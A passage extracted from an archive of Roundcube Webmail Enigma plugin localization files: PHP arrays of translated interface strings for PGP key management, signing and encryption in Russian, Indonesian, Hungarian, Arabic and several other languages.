$messages['keyremoveerror'] = 'Incapace de deler le clave(s) seligite.';
$messages['keyimporttext'] = 'Es possibile importar clave(s) private e public o signaturas de revocation in formato "ASCII Armor".';
$messages['keyimportsearchtext'] = 'Es possibile cercar claves public per identificator, nomine de usator o adresse de e-mail e postea importar los directemente.';
$messages['formerror'] = 'Per favor, completa le formularios. Tote le campos es obligatori!';
$messages['passwordsdiffer'] = 'Le contrasignos non corresponde!';
$messages['keygenerateerror'] = 'Generation de par de claves fallite';
$messages['keygeneratesuccess'] = 'Un par de claves ha essite generate e importate con successo.';
$messages['keygennosupport'] = 'Vostre navigator del web non supporta le cryptographia. Incapace de generar un par de claves!';
$messages['noidentselected'] = 'Es necessari seliger al minus un identitate pro le clave!';
$messages['nonameident'] = 'Le identitate debe includer un nomine de usator!';
$labels['key2048'] = '2048 bits - predefinite';
$labels['key4096'] = '4096 bits - plus secur';
PKh�\m%����%plugins/enigma/localization/bs_BA.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Ime';
$labels['subkeycreated'] = 'Kreirano';
$labels['expiresnever'] = 'nikad';
$labels['unknown'] = 'nepoznato';
$labels['keychpass'] = 'Promijeni šifru';
$labels['newkeypass'] = 'Šifra';
PKh�\�E�*�*%plugins/enigma/localization/ru_RU.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Шифрование';
$labels['enigmacerts'] = 'Сертификаты S/MIME';
$labels['enigmakeys'] = 'Ключи PGP';
$labels['keysfromto'] = 'Ключи с $from по $to из $count';
$labels['keyname'] = 'Имя';
$labels['keyid'] = 'ID ключа';
$labels['keyuserid'] = 'ID пользователя';
$labels['keytype'] = 'Тип ключа';
$labels['fingerprint'] = 'Отпечаток';
$labels['subkeys'] = 'Подключи';
$labels['keyprops'] = 'Свойства ключа';
$labels['basicinfo'] = 'Базовая информация';
$labels['userids'] = 'Дополнительные ключи';
$labels['typepublickey'] = 'открытый ключ';
$labels['typekeypair'] = 'пара ключей';
$labels['keyattfound'] = 'Это сообщение содержит прикреплённый(е) PGP ключ(и).';
$labels['keyattimport'] = 'Импортировать ключ(и)';
$labels['typesign'] = 'Подписать';
$labels['typeencrypt'] = 'Зашифровать';
$labels['typecert'] = 'Удостоверить';
$labels['typeauth'] = 'Аутентификация';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Алгоритм';
$labels['subkeycreated'] = 'Создан';
$labels['subkeyexpires'] = 'Срок действия';
$labels['subkeyusage'] = 'Использование';
$labels['expiresnever'] = 'никогда';
$labels['unknown'] = 'неизвестно';
$labels['uservalid'] = 'Действительный';
$labels['userid'] = 'ID';
$labels['valid'] = 'действительный';
$labels['supportencryption'] = 'Включить шифрование и подписание сообщений';
$labels['supportsignatures'] = 'Включить проверку подписанных сообщений';
$labels['supportdecryption'] = 'Включить расшифровывание сообщений';
$labels['signdefault'] = 'Подписывать все сообщения по умолчанию';
$labels['encryptdefault'] = 'Шифровать все сообщения по умолчанию';
$labels['attachpubkeydefault'] = 'Прикрепить мой открытый ключ по умолчанию';
$labels['passwordtime'] = 'Хранить пароль закрытого ключа';
$labels['nminutes'] = '$m минут(ы)';
$labels['wholesession'] = 'весь сеанс';
$labels['createkeys'] = 'Создать новую пару ключей';
$labels['importkeys'] = 'Импортировать ключ(и)';
$labels['exportkeys'] = 'Экспортировать ключ(и)';
$labels['keyactions'] = 'Действия с ключами...';
$labels['keyremove'] = 'Удалить';
$labels['keydisable'] = 'Отключить';
$labels['keyrevoke'] = 'Отозвать';
$labels['keysend'] = 'Отправить открытый ключ в сообщении';
$labels['keychpass'] = 'Изменить пароль';
$labels['keyadd'] = 'Добавить ключ';
$labels['newkeyident'] = 'Профиль';
$labels['newkeypass'] = 'Пароль';
$labels['newkeypassconfirm'] = 'Подтвердите пароль';
$labels['newkeytype'] = 'Тип ключа';
$labels['rsa2048'] = 'RSA - 2048 бит';
$labels['rsa4096'] = 'RSA - 4096 бит';
$labels['ecckeypair'] = 'ECC (эллиптическая кривая)';
$labels['keygenerating'] = 'Создание ключей...';
$labels['encryptionoptions'] = 'Настройки шифрования...';
$labels['encryptmsg'] = 'Зашифровать это сообщение';
$labels['signmsg'] = 'Подписать это сообщение';
$labels['sendunencrypted'] = 'Отправить незашифрованным';
$labels['enterkeypasstitle'] = 'Введите фразу-пароль ключа';
$labels['enterkeypass'] = 'Фраза-пароль нужна для разблокировки секретного ключа ($keyid) пользователя: $user.';
$labels['attachpubkeymsg'] = 'Прикрепить мой открытый ключ';
$labels['keyexportprompt'] = 'Вы хотите включить закрытые ключи в файл сохранения ключей OpenPGP?';
$labels['onlypubkeys'] = 'Экспортировать только открытые ключи';
$labels['withprivkeys'] = 'Экспортировать закрытые ключи';
$labels['findkey'] = 'Поиск на сервере(-ах) ключей';
$labels['keyimportlabel'] = 'Импортировать из файла';
$labels['keyimportsearchlabel'] = 'Поиск на сервере(-ах) ключей';
$labels['managekeys'] = 'Управление ключами PGP';
$labels['identitymatchingprivkeys'] = 'У вас есть $nr подходящих закрытых PGP ключей, хранящиеся на вашей связке ключей:';
$labels['identitynoprivkeys'] = 'У этого идентификатора отправителя еще нет закрытого ключа PGP, хранящегося в вашей связке ключей.';
$labels['arialabelkeyexportoptions'] = 'Параметры экспорта ключей';
$labels['arialabelkeysearchform'] = 'Форма поиска ключей';
$labels['arialabelkeyoptions'] = 'Параметры ключа';
$messages['sigvalid'] = 'Проверенная подпись $sender.';
$messages['sigvalidpartial'] = 'Проверенная подпись $sender, но часть сообщения не подписана.';
$messages['siginvalid'] = 'Недействительная подпись $sender.';
$messages['sigunverified'] = 'Непроверенная подпись. Сертификат не проверен. ID сертификата: $keyid.';
$messages['signokey'] = 'Непроверенная подпись. Открытый ключ не найден. ID ключа: $keyid.';
$messages['sigerror'] = 'Непроверенная подпись. Внутренняя ошибка.';
$messages['decryptok'] = 'Сообщение расшифровано.';
$messages['decrypterror'] = 'Сбой расшифровки.';
$messages['decryptnokey'] = 'Сбой расшифровки. Закрытый ключ не найден. ID ключа: $keyid.';
$messages['decryptnomdc'] = 'Сообщение не расшифровано. Нарушена целостность сообщения.';
$messages['decryptbadpass'] = 'Сбой расшифровки. Неверный пароль.';
$messages['decryptnopass'] = 'Сбой расшифровки. Требуется ключ пароля.';
$messages['decryptpartial'] = 'Сообщение расшифровано, но часть сообщения не была зашифрована.';
$messages['signerror'] = 'Сбой подписания.';
$messages['signnokey'] = 'Сбой подписания. Закрытый ключ не найден.';
$messages['signbadpass'] = 'Сбой подписания. Неверный пароль.';
$messages['signnopass'] = 'Сбой подписания. Требуется ключ пароля.';
$messages['encrypterror'] = 'Сбой шифрования.';
$messages['encryptnokey'] = 'Сбой шифрования. Не найден открытый ключ для $email.';
$messages['encryptnoprivkey'] = 'Сбой шифрования. Не найден закрытый ключ.';
$messages['nokeysfound'] = 'Ключи не найдены';
$messages['keynotfound'] = 'Ключ не найден!';
$messages['keyopenerror'] = 'Невозможно получить информацию о ключе! Внутренняя ошибка.';
$messages['keylisterror'] = 'Невозможно составить список ключей! Внутренняя ошибка.';
$messages['keysimportfailed'] = 'Невозможно импортировать ключ(и)! Внутренняя ошибка.';
$messages['keysimportsuccess'] = 'Ключ(и) успешно импортирован(ы) . Импортировано: $new, без изменений: $old.';
$messages['keyremoving'] = 'Удаление ключа(ей)...';
$messages['keyremoveconfirm'] = 'Вы уверенны, что хотите удалить выделенный(е) ключ(и)?';
$messages['keyremovesuccess'] = 'Ключ(и) успешно удален(ы)';
$messages['keyremoveerror'] = 'Невозможно удалить выделенный(е) ключ(и).';
$messages['keyimporttext'] = 'Вы можете импортировать закрытый и открытый ключ(и) или подписи отзыва в формате ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Вы можете искать открытые ключи по идентификатору ключа, имени пользователя или адресу электронной почты, а затем импортировать их напрямую.';
$messages['keystoragenotice'] = 'Все открытые и закрытые ключи сохранены на сервере.';
$messages['formerror'] = 'Заполните форму. Все поля обязательны!';
$messages['passwordsdiffer'] = 'Пароли не совпадают!';
$messages['keygenerateerror'] = 'Не удалось создать пару ключей';
$messages['keygeneratesuccess'] = 'Пара ключей создана и успешно импортирована.';
$messages['keygennosupport'] = 'Ваш браузер не поддерживает шифрование. Невозможно создать пару ключей!';
$messages['noidentselected'] = 'Вы должны выбрать по крайней мере один профиль для ключа!';
$messages['nonameident'] = 'У профиля должно быть определено имя пользователя!';
$labels['newkeysize'] = 'Длина ключа';
$labels['key2048'] = '2048 бит - по умолчанию';
$labels['key4096'] = '4096 бит - более безопасный';
PKh�\N���%plugins/enigma/localization/fa_IR.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'رمزگذاری';
$labels['keyname'] = 'نام';
$labels['keyid'] = 'کلید شناسه';
$labels['keyuserid'] = 'شناسه‌ی کاربری';
$labels['typeencrypt'] = 'رمزگذاری';
$labels['subkeycreated'] = 'ایجاد شده';
$labels['expiresnever'] = 'هرگز';
$labels['unknown'] = 'ناشناخته';
$labels['keychpass'] = 'تغییر گذرواژه';
$labels['newkeypass'] = 'گذرواژه';
PKh�\�1Z�>>%plugins/enigma/localization/is_IS.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Dulritun';
$labels['enigmacerts'] = 'S/MIME skilríki';
$labels['enigmakeys'] = 'PGP-lyklar';
$labels['keysfromto'] = 'Dulritunarlyklar $from til $to af $count';
$labels['keyname'] = 'Heiti';
$labels['keyid'] = 'Auðkenni lykils';
$labels['keyuserid'] = 'Notandaauðkenni';
$labels['keytype'] = 'Tegund dulritunarlykils';
$labels['fingerprint'] = 'Fingrafar';
$labels['subkeys'] = 'Undirlyklar';
$labels['keyprops'] = 'Eiginleikar lykils';
$labels['basicinfo'] = 'Grunnupplýsingar';
$labels['userids'] = 'Viðbótarnotendur';
$labels['typepublickey'] = 'dreyfilykill';
$labels['typekeypair'] = 'lyklapar';
$labels['keyattimport'] = 'Flytja inn lykil/lykla';
$labels['typesign'] = 'Undirrita';
$labels['typeencrypt'] = 'Dulrita';
$labels['typecert'] = 'Votta';
$labels['typeauth'] = 'Auðkenning';
$labels['subkeyid'] = 'Auðkenni';
$labels['subkeyalgo'] = 'Reiknirit';
$labels['subkeycreated'] = 'Búið til';
$labels['subkeyexpires'] = 'Rennur út';
$labels['subkeyusage'] = 'Notkun';
$labels['expiresnever'] = 'aldrei';
$labels['unknown'] = 'óþekkt';
$labels['uservalid'] = 'Gilt';
$labels['userid'] = 'Auðkenni';
$labels['valid'] = 'gilt';
$labels['nminutes'] = '$m mínútur';
$labels['createkeys'] = 'Búa til nýtt lyklapar';
$labels['importkeys'] = 'Flytja inn lykil/lykla';
$labels['exportkeys'] = 'Flytja út lykil/lykla';
$labels['keyremove'] = 'Fjarlægja';
$labels['keydisable'] = 'Gera óvirkt';
$labels['keyrevoke'] = 'Afturkalla';
$labels['keychpass'] = 'Breyta lykilorði';
$labels['newkeyident'] = 'Auðkenni';
$labels['newkeypass'] = 'Lykilorð';
$labels['newkeypassconfirm'] = 'Staðfestu  lykilorð';
$labels['newkeytype'] = 'Tegund dulritunarlykils';
$labels['keygenerating'] = 'Útbý dulritunarlykla...';
$labels['encryptmsg'] = 'Dulrita þessi skilaboð';
$labels['keyimportlabel'] = 'Flytja inn úr skrá';
$labels['managekeys'] = 'Sýsla með PGP-lykla';
$messages['signerror'] = 'Undirritun mistókst.';
$labels['newkeysize'] = 'Stærð lykils';
$labels['key2048'] = '2048 bita - sjálfgefið';
$labels['key4096'] = '4096 bita - öruggara';
PKh�\��ӆ��%plugins/enigma/localization/vi_VN.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Tên';
$labels['subkeycreated'] = 'Được tạo';
$labels['expiresnever'] = 'không bao giờ';
$labels['unknown'] = 'Không rõ';
$labels['newkeypass'] = 'Mật khẩu';
PKh�\�����%plugins/enigma/localization/th_TH.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'ชื่อ';
$labels['keyid'] = 'คีย์ไอดี';
$labels['typeencrypt'] = 'เข้ารหัส';
$labels['subkeycreated'] = 'สร้าง';
$labels['expiresnever'] = 'ไม่ใช้';
$labels['unknown'] = 'ไม่ทราบ';
$labels['keychpass'] = 'เปลี่ยนรหัสผ่าน';
$labels['newkeypass'] = 'รหัสผ่าน';
PKh�\�}��%plugins/enigma/localization/ar_SA.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'التشفير';
$labels['enigmacerts'] = 'شهادات S / MIME';
$labels['enigmakeys'] = 'مفاتيح PGP';
$labels['keysfromto'] = 'مفاتيح $from إلى $to من $count';
$labels['keyname'] = 'الاسم';
$labels['keyid'] = 'مفتاح المعرّف';
$labels['keyuserid'] = 'معرّف المستخدم';
$labels['keytype'] = 'نوع المفتاح';
$labels['fingerprint'] = 'بصمة';
$labels['subkeys'] = 'مفاتيح فرعية';
$labels['keyprops'] = 'الخصائص الرئيسية';
$labels['basicinfo'] = 'المعلومات العامة';
$labels['userids'] = 'مستخدمون إضافيون';
$labels['typepublickey'] = 'المفتاح العام';
$labels['typekeypair'] = 'اقتران المفتاح';
$labels['keyattfound'] = 'تحتوي هذه الرسالة على مفتاح (مفاتيح) PGP مرفق.';
$labels['keyattimport'] = 'استيراد مفتاح (مفاتيح)';
$labels['typesign'] = 'علامة';
$labels['typeencrypt'] = 'تشفير';
$labels['typecert'] = 'تصديق';
$labels['typeauth'] = 'المصادقة';
$labels['subkeyid'] = 'المُعَرّف';
$labels['subkeyalgo'] = 'الخوارزمية';
$labels['subkeycreated'] = 'أُنشئ في';
$labels['subkeyexpires'] = 'تنتهي';
$labels['subkeyusage'] = 'استعمال';
$labels['expiresnever'] = 'أبداً';
$labels['unknown'] = 'مجهول';
$labels['uservalid'] = 'صالح';
$labels['userid'] = 'المُعَرّف';
$labels['valid'] = 'صالح';
$labels['supportencryption'] = 'تفعيل تشفير الرسائل والتوقيع';
$labels['supportsignatures'] = 'تفعيل التحقق من تواقيع الرسائل';
$labels['supportdecryption'] = 'تفعيل فك تشفير الرسالة';
$labels['signdefault'] = 'قم بتسجيل جميع الرسائل بشكل افتراضي';
$labels['importkeys'] = 'استيراد مفتاح (مفاتيح)';
$labels['keychpass'] = 'تغيير كلمة المرور';
$labels['newkeypass'] = 'كلمة المرور';
$labels['newkeytype'] = 'نوع المفتاح';
$labels['arialabelkeyexportoptions'] = 'خيارات تصدير المفاتيح';
$messages['decryptbadpass'] = 'فشل فك التشفير. رمز مرور خاطئ.';
$messages['signbadpass'] = 'فشل تسجيل الدخول. كلمة المرور خاطئة.';
$messages['nonameident'] = 'يجب أن يكون للهوية اسم مستخدم محدد!';
PKh�\�1���%plugins/enigma/localization/ms_MY.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['expiresnever'] = 'tidak pernah';
$labels['unknown'] = 'tidak diketahui';
$labels['newkeypass'] = 'Katalaluan';
PKh�\�!HU		%plugins/enigma/localization/az_AZ.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Ad';
$labels['keyid'] = 'Açar ID';
$labels['typeencrypt'] = 'Şifrələ';
$labels['subkeycreated'] = 'Yaradılma tarixi';
$labels['expiresnever'] = 'heç vaxt';
$labels['unknown'] = 'naməlum';
$labels['newkeypass'] = 'Şifrə';
PKh�\V��|%plugins/enigma/localization/id_ID.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Enkripsi';
$labels['enigmacerts'] = 'Sertifikat S/MIME';
$labels['enigmakeys'] = 'Kunci PGP';
$labels['keysfromto'] = 'Kunci $from sampai $to dari $count';
$labels['keyname'] = 'Nama';
$labels['keyid'] = 'ID Kunci';
$labels['keyuserid'] = 'ID Pengguna';
$labels['keytype'] = 'Tipe kunci';
$labels['fingerprint'] = 'Sidik jari';
$labels['subkeys'] = 'Subkunci';
$labels['keyprops'] = 'Properti untuk kunci';
$labels['basicinfo'] = 'Informasi dasar';
$labels['userids'] = 'Pengguna Tambahan';
$labels['typepublickey'] = 'kunci publik';
$labels['typekeypair'] = 'kunci pasangan';
$labels['keyattfound'] = 'Pesan ini memuat kunci PGP yang dilampirkan.';
$labels['keyattimport'] = 'Impor kunci';
$labels['typesign'] = 'Tandatangani';
$labels['typeencrypt'] = 'Enkripsi';
$labels['typecert'] = 'Sertifikasikan';
$labels['typeauth'] = 'Otentifikasi';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritma';
$labels['subkeycreated'] = 'Dibuat';
$labels['subkeyexpires'] = 'Kedaluarsa';
$labels['subkeyusage'] = 'Penggunaan';
$labels['expiresnever'] = 'tidak pernah';
$labels['unknown'] = 'tak diketahui';
$labels['uservalid'] = 'Valid';
$labels['userid'] = 'ID';
$labels['valid'] = 'valid';
$labels['supportencryption'] = 'Fungsikan enkripsi dan penandatanganan pesan';
$labels['supportsignatures'] = 'Fungsikan verifikasi tanda tangan pesan';
$labels['supportdecryption'] = 'Fungsikan dekripsi pesan';
$labels['signdefault'] = 'Tandatangani semua pesan secara baku';
$labels['encryptdefault'] = 'Enkripsikan semua pesan secara baku';
$labels['attachpubkeydefault'] = 'Lampirkan kunci PGP publik saya secara baku';
$labels['passwordtime'] = 'Simpan kata sandi kunci rahasia selama';
$labels['nminutes'] = '$m menit';
$labels['wholesession'] = 'seluruh sesi';
$labels['createkeys'] = 'Buat pasangan kunci baru';
$labels['importkeys'] = 'Impor kunci';
$labels['exportkeys'] = 'Ekspor kunci';
$labels['keyactions'] = 'Aksi kunci...';
$labels['keyremove'] = 'Hapus';
$labels['keydisable'] = 'Nonaktifkan';
$labels['keyrevoke'] = 'Cabut';
$labels['keysend'] = 'Kirim kunci publik dalam pesan';
$labels['keychpass'] = 'Ubah kata sandi';
$labels['newkeyident'] = 'Identitas';
$labels['newkeypass'] = 'Password';
$labels['newkeypassconfirm'] = 'Konfirmasi password / kata kunci';
$labels['newkeytype'] = 'Tipe kunci';
$labels['keygenerating'] = 'Membuat kunci...';
$labels['encryptionoptions'] = 'Opsi enkripsi...';
$labels['encryptmsg'] = 'Enkripsikan pesan ini';
$labels['signmsg'] = 'Tandatantani pesan ini';
$labels['sendunencrypted'] = 'Kirim dengan tidak di enskripsi';
$labels['enterkeypasstitle'] = 'Masukkan frasa sandi kunci';
$labels['enterkeypass'] = 'Frasa sandi diperlukan untuk membuka kunci rahasia ($keyid) untuk pengguna: $user.';
$labels['attachpubkeymsg'] = 'Lampirkan kunci publik saya';
$labels['keyexportprompt'] = 'Apakah Anda ingin menyertakan kunci rahasia dalam berkas kunci OpenPGP yang disimpan?';
$labels['onlypubkeys'] = 'Ekspor Kunci Publik Saja';
$labels['withprivkeys'] = 'Ekspor Kunci Rahasia';
$labels['findkey'] = 'Cari pada server kunci';
$labels['keyimportlabel'] = 'Impor dari berkas';
$labels['keyimportsearchlabel'] = 'Cari pada server kunci';
$labels['arialabelkeyexportoptions'] = 'Opsi ekspor kunci';
$messages['sigvalid'] = 'Tanda tangan terverifikasi dari $sender.';
$messages['sigvalidpartial'] = 'Tanda tangan terverifikasi dari $sender, tapi sebagian pesan tidak ditandatangani.';
$messages['siginvalid'] = 'Tanda tangan tak valid dari $sender.';
$messages['sigunverified'] = 'Tanda tangan tak terverifikasi. Sertifikat tak terverifikasi. ID sertifikat: $keyid.';
$messages['signokey'] = 'Tanda tangan tak terverifikasi. Kunci publik tak ditemukan. ID kunci: $keyid.';
$messages['sigerror'] = 'Tanda tangan tak terverifikasi. Kesalahan internal.';
$messages['decryptok'] = 'Pesan didekripsi.';
$messages['decrypterror'] = 'Dekripsi gagal.';
$messages['decryptnokey'] = 'Dekripsi gagal. Kunci privat tak ditemukan. ID kunci: $keyid.';
$messages['decryptbadpass'] = 'Dekripsi gagal. Kata sandi tidak valid.';
$messages['decryptnopass'] = 'Dekripsi gagal. Kata sandi kunci diperlukan.';
$messages['decryptpartial'] = 'Pesan didekripsi, tapi sebagian isi tidak dienkripsi.';
$messages['signerror'] = 'Penandatanganan gagal.';
$messages['signnokey'] = 'Penandatanganan gagal. Kunci privat tak ditemukan.';
$messages['signbadpass'] = 'Penandatanganan gagal. Kata sandi tidak valid.';
$messages['signnopass'] = 'Penandatanganan gagal. Kata sandi kunci diperlukan.';
$messages['encrypterror'] = 'Enkripsi gagal.';
$messages['encryptnokey'] = 'Enkripsi gagal. Kunci publik tak ditemukan untuk $email.';
$messages['nokeysfound'] = 'Tidak ada kunci yang ditemukan';
$messages['keynotfound'] = 'Kunci tidak ditemukan!';
$messages['keyopenerror'] = 'Tidak bisa memperoleh informasi kunci! Kesalahan internal.';
$messages['keylisterror'] = 'Tidak bisa membuat daftar kunci! Kesalahan internal.';
$messages['keysimportfailed'] = 'Tidak bisa mengimpor kunci! Kesalahan internal.';
$messages['keysimportsuccess'] = 'Kunci sukses diimpor. Diimpor: $new, tidak berubah: $old.';
$messages['keyremoving'] = 'Menghapus kunci...';
$messages['keyremoveconfirm'] = 'Anda yakin hendak menghapus kunci yang dipilih?';
$messages['keyremovesuccess'] = 'Kunci sukses dihapus';
$messages['keyremoveerror'] = 'Tidak bisa menghapus kunci yang dipilih.';
$messages['keyimporttext'] = 'Anda bisa mengimpor kunci privat dan publik atau tanda tangan pencabutan dalam format ASCII-Armor.';
$messages['keyimportsearchtext'] = 'Anda dapat mencari kunci publik berdasarkan identifier kunci, nama pengguna, atau alamat surel, lalu secara langsung mengimpor mereka.';
$messages['formerror'] = 'Harap isi formulir. Semua ruas diperlukan!';
$messages['passwordsdiffer'] = 'Kata sandi tidak cocok!';
$messages['keygenerateerror'] = 'Gagal membuat suatu pasangan kunci';
$messages['keygeneratesuccess'] = 'Suatu pasangan kunci dibuat dan sukses diimpor.';
$messages['keygennosupport'] = 'Peramban web Anda tidak mendukung kriptografi. Tidak bisa membuat suatu pasangan kunci!';
$messages['noidentselected'] = 'Anda mesti memilih paling tidak satu identitas untuk kunci!';
$messages['nonameident'] = 'Identitas mesti mengandung nama pengguna!';
$labels['newkeysize'] = 'Ukuran kunci';
$labels['key2048'] = '2048 bit - baku';
$labels['key4096'] = '4096 bit - lebih aman';
PKh�\���Tpp#plugins/enigma/localization/tzl.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['keyname'] = 'Nómina';
$labels['unknown'] = 'inschì';
$labels['newkeypass'] = 'Teßera';
PKh�\�et!t!%plugins/enigma/localization/hu_HU.incnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Enigma plugin              |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/roundcube/roundcube-webmail/plugin-enigma/
*/

$labels['encryption'] = 'Titkosítás';
$labels['enigmacerts'] = 'S/MIMI Tanusitványok';
$labels['enigmakeys'] = 'PGP Kulcsok';
$labels['keysfromto'] = 'Kulcsok $from - $to / $count ';
$labels['keyname'] = 'Név';
$labels['keyid'] = 'Kulcs ID';
$labels['keyuserid'] = 'Felhasználó ID';
$labels['keytype'] = 'Kulcs tipus';
$labels['fingerprint'] = 'Ujjlenyomat';
$labels['subkeys'] = 'Alkulcsok';
$labels['keyprops'] = 'Kulcs tulajdnonságai';
$labels['basicinfo'] = 'Alap információk';
$labels['userids'] = 'További felhasználok';
$labels['typepublickey'] = 'nyilvános kulcs';
$labels['typekeypair'] = 'kulcspár';
$labels['keyattfound'] = 'Ez az űzenet tartalmaz csatolt PGP kulcso(ka)t';
$labels['keyattimport'] = 'Kulcs(ok) importálása';
$labels['typesign'] = 'Aláírás';
$labels['typeencrypt'] = 'Titkosít';
$labels['typecert'] = 'Igazolni';
$labels['typeauth'] = 'Hitelesítés';
$labels['subkeyid'] = 'ID';
$labels['subkeyalgo'] = 'Algoritmus';
$labels['subkeycreated'] = 'Létrehozva';
$labels['subkeyexpires'] = 'Lejár';
$labels['subkeyusage'] = 'Felhasználás';
$labels['expiresnever'] = 'soha';
$labels['unknown'] = 'ismeretlen';
$labels['uservalid'] = 'Érvényes';
$labels['userid'] = 'ID';
$labels['valid'] = 'érvényes';
$labels['supportencryption'] = 'Az üzenet titkosításának és aláíásának engedélyezése';
$labels['supportsignatures'] = 'Az űzenet álírásainak ellenörzésének engedélyezése';
$labels['supportdecryption'] = 'Az üzenet ki-titkosításának engedélyezése';
$labels['signdefault'] = 'Alapértelemzetten írja alá az üzeneteket';
$labels['encryptdefault'] = 'Titkosítsa az összes üzenetet alapértelemzetten';
$labels['attachpubkeydefault'] = 'Alapértelmezetten csatolja a publikus PGP kulcsomat.';
$labels['passwordtime'] = 'Jegyezze meg a privát kulcs jelszavát a következöhöz';
$labels['nminutes'] = '$m perc';
$labels['wholesession'] = 'az egész munkamenet';
$labels['createkeys'] = 'Új kulcs pár létrehozása';
$labels['importkeys'] = 'Kulcsok importálása';
$labels['exportkeys'] = 'Kulcs(ok) exportálása';
$labels['keyactions'] = 'Kulcs műveletek';
$labels['keyremove'] = 'Eltávolítás';
$labels['keydisable'] = 'Tilt';
$labels['keyrevoke'] = 'Visszavon';
$labels['keysend'] = 'Küld el a nyilvános kulcsot az üzenetben';
$labels['keychpass'] = 'Jelszó módosítás';
$labels['keyadd'] = 'Kulcs hozzáadása';
$labels['newkeyident'] = 'Azonosító';
$labels['newkeypass'] = 'Jelszó';
$labels['newkeypassconfirm'] = 'Jelszó  megerősítése';
